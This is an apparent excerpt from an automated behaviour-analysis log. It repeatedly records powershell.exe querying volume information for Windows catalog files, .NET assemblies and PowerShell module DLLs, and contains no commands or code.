Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
